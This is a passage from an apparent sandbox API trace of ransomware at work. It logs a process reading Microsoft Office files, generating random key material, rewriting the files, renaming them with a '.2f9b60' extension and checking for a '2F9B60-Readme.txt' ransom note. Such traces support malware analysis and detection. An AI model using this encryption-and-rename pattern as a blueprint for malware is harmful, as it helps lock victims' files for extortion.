sprintf (in: _Dest=0x1cd9eaf4, _Format="%c%c" | out: _Dest="cc") returned 2 [0206.874] sprintf (in: _Dest=0x1cd9eaf6, _Format="%c%c" | out: _Dest="7b") returned 2 [0206.874] sprintf (in: _Dest=0x1cd9eaf8, _Format="%c%c" | out: _Dest="38") returned 2 [0206.874] sprintf (in: _Dest=0x1cd9eafa, _Format="%c%c" | out: _Dest="df") returned 2 [0206.874] sprintf (in: _Dest=0x1cd9eafc, _Format="%c%c" | out: _Dest="df") returned 2 [0206.874] sprintf (in: _Dest=0x1cd9eafe, _Format="%c%c" | out: _Dest="c2") returned 2 [0206.874] sprintf (in: _Dest=0x1cd9eb00, _Format="%c%c" | out: _Dest="6f") returned 2 [0206.874] sprintf (in: _Dest=0x1cd9eb02, _Format="%c%c" | out: _Dest="9b") returned 2 [0206.874] sprintf (in: _Dest=0x1cd9eb04, _Format="%c%c" | out: _Dest="1f") returned 2 [0206.874] sprintf (in: _Dest=0x1cd9eb06, _Format="%c%c" | out: _Dest="c6") returned 2 [0206.875] sprintf (in: _Dest=0x1cd9eb08, _Format="%c%c" | out: _Dest="05") returned 2 [0206.875] sprintf (in: _Dest=0x1cd9eb0a, _Format="%c%c" | out: _Dest="4a") returned 2 [0206.875] sprintf (in: _Dest=0x1cd9eb0c, _Format="%c%c" | out: _Dest="87") returned 2 [0206.875] sprintf (in: _Dest=0x1cd9eb0e, _Format="%c%c" | out: _Dest="40") returned 2 [0206.875] sprintf (in: _Dest=0x1cd9eb10, _Format="%c%c" | out: _Dest="00") returned 2 [0206.875] sprintf (in: _Dest=0x1cd9eb12, _Format="%c%c" | out: _Dest="e2") returned 2 [0206.875] sprintf (in: _Dest=0x1cd9eb14, _Format="%c%c" | out: _Dest="5a") returned 2 [0206.875] sprintf (in: _Dest=0x1cd9eb16, _Format="%c%c" | out: _Dest="51") returned 2 [0206.875] RtlInitAnsiString (in: DestinationString=0x3cf6f8a8, SourceString="fe03cc7b38dfdfc26f9b1fc6054a874000e25a51" | out: DestinationString="fe03cc7b38dfdfc26f9b1fc6054a874000e25a51") [0206.875] RtlAnsiStringToUnicodeString (in: DestinationString=0x3cf6f878, SourceString="fe03cc7b38dfdfc26f9b1fc6054a874000e25a51", AllocateDestinationString=1 | out: DestinationString="fe03cc7b38dfdfc26f9b1fc6054a874000e25a51") returned 0x0 [0206.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x431f9f00 [0206.876] wcscat (in: _Dest=0x431c6cc0, _Source="fe03cc7b38" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\fe03cc7b38") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\fe03cc7b38" [0206.876] wcscat (in: _Dest=0x431c6cc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\fe03cc7b38.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\fe03cc7b38.2f9b60" [0206.876] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\fe03cc7b38.2f9b60", NtPathName=0x3cf6f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\fe03cc7b38.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x431288a0 Thread: id = 2211 os_tid = 0x1698 [0140.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg")) returned 0x20 [0140.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG", dwFileAttributes=0x20) returned 1 [0140.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1eb8 [0142.575] GetFileSizeEx (in: hFile=0x1eb8, lpFileSize=0x3d03fd80 | out: lpFileSize=0x3d03fd80*=788) returned 1 [0142.575] SetFilePointerEx (in: hFile=0x1eb8, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.575] ReadFile (in: hFile=0x1eb8, lpBuffer=0x3d03fd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d03fd48, lpOverlapped=0x0 | out: lpBuffer=0x3d03fd00*, lpNumberOfBytesRead=0x3d03fd48*=0x4, lpOverlapped=0x0) returned 1 [0142.589] SetFilePointerEx (in: hFile=0x1eb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267470 [0142.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0142.590] NtQuerySystemTime (in: CurrentTime=0x3d03fc40 | out: CurrentTime=0x3d03fc40*=132462177478330000) returned 0x0 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x22297604 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x634b160a [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x1eaa14d7 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x3e56b55d [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x21c55000 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x4b83e415 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x47c1468c [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x3f7726d7 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x3db94451 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x26aac085 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x66907e19 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x172ac3a8 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x716958c [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0xea01726 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0xedb0c47 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x746909e1 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x2d92dac8 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x39addbc8 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x2eec7a86 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0xf99e157 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x19d66af5 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x9fef25c [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x46ae02f5 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x7603b1a4 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x4cc96bd2 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x50f05bc1 [0142.590] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x35261828 [0142.591] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x2c8c19a6 [0142.591] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x2b5bac33 [0142.591] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x317bcf93 [0142.591] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x78a0b03 [0142.591] RtlRandomEx (in: Seed=0x3d03fc30 | out: Seed=0x3d03fc30) returned 0x580d969 [0142.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0142.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0142.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674a0 [0142.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0142.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267230) returned 1 [0142.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0142.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0142.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4234c1b0 [0142.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423500b0 [0142.603] ReadFile (in: hFile=0x1eb8, lpBuffer=0x4234c1b0, nNumberOfBytesToRead=0x314, lpNumberOfBytesRead=0x3d03fc30, lpOverlapped=0x0 | out: lpBuffer=0x4234c1b0*, lpNumberOfBytesRead=0x3d03fc30*=0x314, lpOverlapped=0x0) returned 1 [0142.603] SetFilePointerEx (in: hFile=0x1eb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.603] WriteFile (in: hFile=0x1eb8, lpBuffer=0x423500b0*, nNumberOfBytesToWrite=0x314, lpNumberOfBytesWritten=0x3d03fc34, lpOverlapped=0x0 | out: lpBuffer=0x423500b0*, lpNumberOfBytesWritten=0x3d03fc34*=0x314, lpOverlapped=0x0) returned 1 [0143.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff3d0 [0143.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff430 [0143.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff430) returned 1 [0143.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423500b0) returned 1 [0143.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4234c1b0) returned 1 [0143.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0143.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x204ff430 [0143.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0143.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff400 [0143.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff400) returned 1 [0143.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x204ff400 [0143.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff460 [0143.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff490 [0143.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff490) returned 1 [0143.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0143.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x16a080 [0143.500] SetFilePointerEx (in: hFile=0x1eb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.500] WriteFile (in: hFile=0x1eb8, lpBuffer=0x16a080*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3d03fd50, lpOverlapped=0x0 | out: lpBuffer=0x16a080*, lpNumberOfBytesWritten=0x3d03fd50*=0x108, lpOverlapped=0x0) returned 1 [0143.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267710 [0143.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267710) returned 1 [0143.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0143.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267710 [0143.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0143.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267320) returned 1 [0143.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7aa1a0 [0143.698] sprintf (in: _Dest=0x1b7aa1a0, _Format="%c%c" | out: _Dest="0f") returned 2 [0143.698] sprintf (in: _Dest=0x1b7aa1a2, _Format="%c%c" | out: _Dest="ec") returned 2 [0143.698] sprintf (in: _Dest=0x1b7aa1a4, _Format="%c%c" | out: _Dest="b6") returned 2 [0143.698] sprintf (in: _Dest=0x1b7aa1a6, _Format="%c%c" | out: _Dest="ff") returned 2 [0143.698] sprintf (in: _Dest=0x1b7aa1a8, _Format="%c%c" | out: _Dest="b9") returned 2 [0143.698] sprintf (in: _Dest=0x1b7aa1aa, _Format="%c%c" | out: _Dest="a9") returned 2 [0143.698] sprintf (in: _Dest=0x1b7aa1ac, _Format="%c%c" | out: _Dest="37") returned 2 [0143.698] sprintf (in: _Dest=0x1b7aa1ae, _Format="%c%c" | out: _Dest="1a") returned 2 [0143.698] sprintf (in: _Dest=0x1b7aa1b0, _Format="%c%c" | out: _Dest="49") returned 2 [0143.698] sprintf (in: _Dest=0x1b7aa1b2, _Format="%c%c" | out: _Dest="a1") returned 2 [0143.698] sprintf (in: _Dest=0x1b7aa1b4, _Format="%c%c" | out: _Dest="5e") returned 2 [0143.698] sprintf (in: _Dest=0x1b7aa1b6, _Format="%c%c" | out: _Dest="8f") returned 2 [0143.698] sprintf (in: _Dest=0x1b7aa1b8, _Format="%c%c" | out: _Dest="2e") returned 2 [0143.699] sprintf (in: _Dest=0x1b7aa1ba, _Format="%c%c" | out: _Dest="c1") returned 2 [0143.699] sprintf (in: _Dest=0x1b7aa1bc, _Format="%c%c" | out: _Dest="e3") returned 2 [0143.699] sprintf (in: _Dest=0x1b7aa1be, _Format="%c%c" | out: _Dest="d3") returned 2 [0143.699] sprintf (in: _Dest=0x1b7aa1c0, _Format="%c%c" | out: _Dest="a9") returned 2 [0143.699] sprintf (in: _Dest=0x1b7aa1c2, _Format="%c%c" | out: _Dest="0d") returned 2 [0143.699] sprintf (in: _Dest=0x1b7aa1c4, _Format="%c%c" | out: _Dest="d0") returned 2 [0143.699] sprintf (in: _Dest=0x1b7aa1c6, _Format="%c%c" | out: _Dest="65") returned 2 [0143.699] sprintf (in: _Dest=0x1b7aa1c8, _Format="%c%c" | out: _Dest="ce") returned 2 [0143.699] sprintf (in: _Dest=0x1b7aa1ca, _Format="%c%c" | out: _Dest="88") returned 2 [0143.699] RtlInitAnsiString (in: DestinationString=0x3d03fdc8, SourceString="0fecb6ffb9a9371a49a15e8f2ec1e3d3a90dd065ce88" | out: DestinationString="0fecb6ffb9a9371a49a15e8f2ec1e3d3a90dd065ce88") [0143.699] RtlAnsiStringToUnicodeString (in: DestinationString=0x3d03fd98, SourceString="0fecb6ffb9a9371a49a15e8f2ec1e3d3a90dd065ce88", AllocateDestinationString=1 | out: DestinationString="0fecb6ffb9a9371a49a15e8f2ec1e3d3a90dd065ce88") returned 0x0 [0143.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86e6b0 [0143.699] RtlFreeAnsiString (AnsiString="0") [0143.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0143.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267710) returned 1 [0143.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x16a080) returned 1 [0143.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff400) returned 1 [0143.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff460) returned 1 [0143.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff430) returned 1 [0143.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff3d0) returned 1 [0143.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267470) returned 1 [0143.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0143.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674a0) returned 1 [0143.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20507170 [0143.701] wcscat (in: _Dest=0x20507170, _Source="0fecb6ffb9a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\0fecb6ffb9a") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\0fecb6ffb9a" [0143.701] wcscat (in: _Dest=0x20507170, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\0fecb6ffb9a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\0fecb6ffb9a.2f9b60" [0143.701] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\0fecb6ffb9a.2f9b60", NtPathName=0x3d03fd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\0fecb6ffb9a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x1ce22c20 [0143.702] NtSetInformationFile (FileHandle=0x1eb8, IoStatusBlock=0x3d03fe10, FileInformation=0x1ce22c20, Length=0xb0, FileInformationClass=0xa) returned 0x0 [0143.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22c20) returned 1 [0143.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f39c0) returned 1 [0143.867] NtQueryInformationFile (in: FileHandle=0x1eb8, IoStatusBlock=0x3d03fdd8, FileInformation=0x3d03fde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3d03fdd8, FileInformation=0x3d03fde8) returned 0x0 [0143.867] NtSetInformationFile (FileHandle=0x1eb8, IoStatusBlock=0x3d03fdd8, FileInformation=0x3d03fde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507170) returned 1 [0143.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e6b0) returned 1 [0143.869] FlushFileBuffers (hFile=0x1eb8) returned 1 [0143.896] CloseHandle (hObject=0x1eb8) returned 1 [0143.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205070d0 [0143.897] wcscpy (in: _Dest=0x205070d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0143.897] wcscat (in: _Dest=0x205070d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0143.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0143.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205070d0) returned 1 [0143.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b650) returned 1 Thread: id = 2212 os_tid = 0x169c [0142.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 0x20 [0146.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML", dwFileAttributes=0x20) returned 1 [0146.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ce8 [0147.290] GetFileSizeEx (in: hFile=0x1ce8, lpFileSize=0x3d1efd40 | out: lpFileSize=0x3d1efd40*=312400) returned 1 [0147.290] SetFilePointerEx (in: hFile=0x1ce8, liDistanceToMove=0x4c44c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.290] ReadFile (in: hFile=0x1ce8, lpBuffer=0x3d1efcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d1efd08, lpOverlapped=0x0 | out: lpBuffer=0x3d1efcc0*, lpNumberOfBytesRead=0x3d1efd08*=0x4, lpOverlapped=0x0) returned 1 [0147.327] SetFilePointerEx (in: hFile=0x1ce8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0147.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0147.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7eb0 [0147.328] NtQuerySystemTime (in: CurrentTime=0x3d1efc00 | out: CurrentTime=0x3d1efc00*=132462177525754000) returned 0x0 [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x7a550611 [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x2a4ca0a1 [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0xb44ab4 [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x74b9e34b [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x3a78a7b9 [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x169c0881 [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x2f385326 [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x35865a5e [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x553d9ead [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x4f64796a [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x512b09fc [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x7ceeac37 [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x5c1e0634 [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x3a0180dd [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x7845d23f [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x2c58d072 [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x58450411 [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x5f816c56 [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x1e11fad4 [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x8fb502b [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x15ffdeb5 [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x2b65596c [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x3828c389 [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x497d1725 [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x277c73eb [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x77150eec [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x1da19897 [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0xcd9a4c4 [0147.328] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x3ae1c5a9 [0147.329] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x2b6d5d9e [0147.329] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x3e8df337 [0147.329] RtlRandomEx (in: Seed=0x3d1efbf0 | out: Seed=0x3d1efbf0) returned 0x6aa34521 [0147.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0147.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59eb0 [0147.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8030 [0147.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59eb0) returned 1 [0147.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7eb0) returned 1 [0147.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7bb0) returned 1 